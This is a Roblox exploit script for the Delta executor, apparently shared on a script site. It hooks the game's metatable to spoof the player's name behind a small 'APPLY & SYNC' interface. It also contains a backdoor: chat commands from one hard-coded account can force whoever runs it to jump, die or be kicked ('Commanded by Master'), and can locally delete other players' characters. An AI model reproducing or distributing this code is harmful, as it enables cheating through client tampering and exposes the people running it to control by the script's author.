
KeylessUniversal

--[[
RUBO DELTA PRO - STABLE VERSION
Optimized for Delta Executor (Mobile/PC)
Commands for proyt12359:
!jump - Makes you jump
!reset - Kills your character
!kick - Force disconnects YOU
!ban [name] - Locally deletes a player for you
]]
local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local lp = Players.LocalPlayer
-- SETTINGS
local AUTHORIZED_USER = "proyt12359"
local PREFIX = "!"
local BannedList = {}
local spoofedName = lp.Name
-- CLEANUP (Prevents UI stacking)
if CoreGui:FindFirstChild("RuboDeltaUI") then
CoreGui.RuboDeltaUI:Destroy()
end
-- UI CREATION (High Performance)
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "RuboDeltaUI"
ScreenGui.Parent = CoreGui
ScreenGui.ResetOnSpawn = false
local MainFrame = Instance.new("Frame")
MainFrame.Name = "MainFrame"
MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 25)
MainFrame.Position = UDim2.new(0.5, -90, 0.5, -60)
MainFrame.Size = UDim2.new(0, 180, 0, 125)
MainFrame.BorderSizePixel = 0
MainFrame.Active = true -- Crucial for mobile dragging
local Corner = Instance.new("UICorner")
Corner.CornerRadius = UDim.new(0, 8)
Corner.Parent = MainFrame
local Border = Instance.new("UIStroke")
Border.Color = Color3.fromRGB(255, 0, 0)
Border.Thickness = 2
Border.Parent = MainFrame
local Title = Instance.new("TextLabel")
Title.Parent = MainFrame
Title.Size = UDim2.new(1, 0, 0, 30)
Title.BackgroundTransparency = 1
Title.Text = "RUBO DELTA"
Title.TextColor3 = Color3.new(1, 1, 1)
Title.Font = Enum.Font.SourceSansBold
Title.TextSize = 16
local Input = Instance.new("TextBox")
Input.Parent = MainFrame
Input.Position = UDim2.new(0.1, 0, 0.3, 0)
Input.Size = UDim2.new(0.8, 0, 0, 25)
Input.BackgroundColor3 = Color3.fromRGB(40, 40, 45)
Input.PlaceholderText = "New Name..."
Input.Text = ""
Input.TextColor3 = Color3.new(1, 1, 1)
Input.Font = Enum.Font.SourceSans
Input.TextSize = 14
local Apply = Instance.new("TextButton")
Apply.Parent = MainFrame
Apply.Position = UDim2.new(0.1, 0, 0.65, 0)
Apply.Size = UDim2.new(0.8, 0, 0, 30)
Apply.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Apply.Text = "APPLY & SYNC"
Apply.TextColor3 = Color3.new(1, 1, 1)
Apply.Font = Enum.Font.SourceSansBold
Apply.TextSize = 14
-- 1. STABLE DRAGGING (No laggy animations)
local dragging, dragStart, startPos
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = MainFrame.Position
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = false
end
end)
-- 2. STABLE IDENTITY SPOOFING
local function startSpoof()
local success, mt = pcall(getrawmetatable, game)
if success then
local oldIndex = mt.__index
setreadonly(mt, false)
mt.__index = newcclosure(function(self, key)
if self == lp and (key == "Name" or key == "DisplayName") then
return spoofedName
end
return oldIndex(self, key)
end)
setreadonly(mt, true)
end
end
-- 3. STABLE COMMAND SYNC
local function handleChat(msg)
local char = lp.Character
local hum = char and char:FindFirstChildOfClass("Humanoid")
local args = msg:split(" ")
local cmd = args[1]:lower()
if cmd == PREFIX.."jump" and hum then
hum.Jump = true
elseif cmd == PREFIX.."reset" and hum then
hum.Health = 0
elseif cmd == PREFIX.."kick" then
lp:Kick("Commanded by Master")
elseif cmd == PREFIX.."ban" and args[2] then
local name = args[2]:lower()
for _,v in pairs(Players:GetPlayers()) do
if v.Name:lower():find(name) and v ~= lp then
table.insert(BannedList, v.Name)
end
end
end
end
Players.PlayerChatted:Connect(function(_, sender, msg)
if sender.Name == AUTHORIZED_USER then
handleChat(msg)
end
end)
-- 4. STABLE BAN ENFORCEMENT (Heartbeat is best for Delta)
RunService.Heartbeat:Connect(function()
for _, name in pairs(BannedList) do
local p = Players:FindFirstChild(name)
if p and p.Character then
p.Character:Destroy()
end
end
end)
-- BUTTON ACTION
Apply.MouseButton1Click:Connect(function()
if Input.Text ~= "" then
spoofedName = Input.Text
Apply.Text = "SPOOFED"
task.wait(1)
Apply.Text = "APPLY & SYNC"
end
end)
startSpoof()
print("Rubo Delta Pro Active")No comments yet for this script.



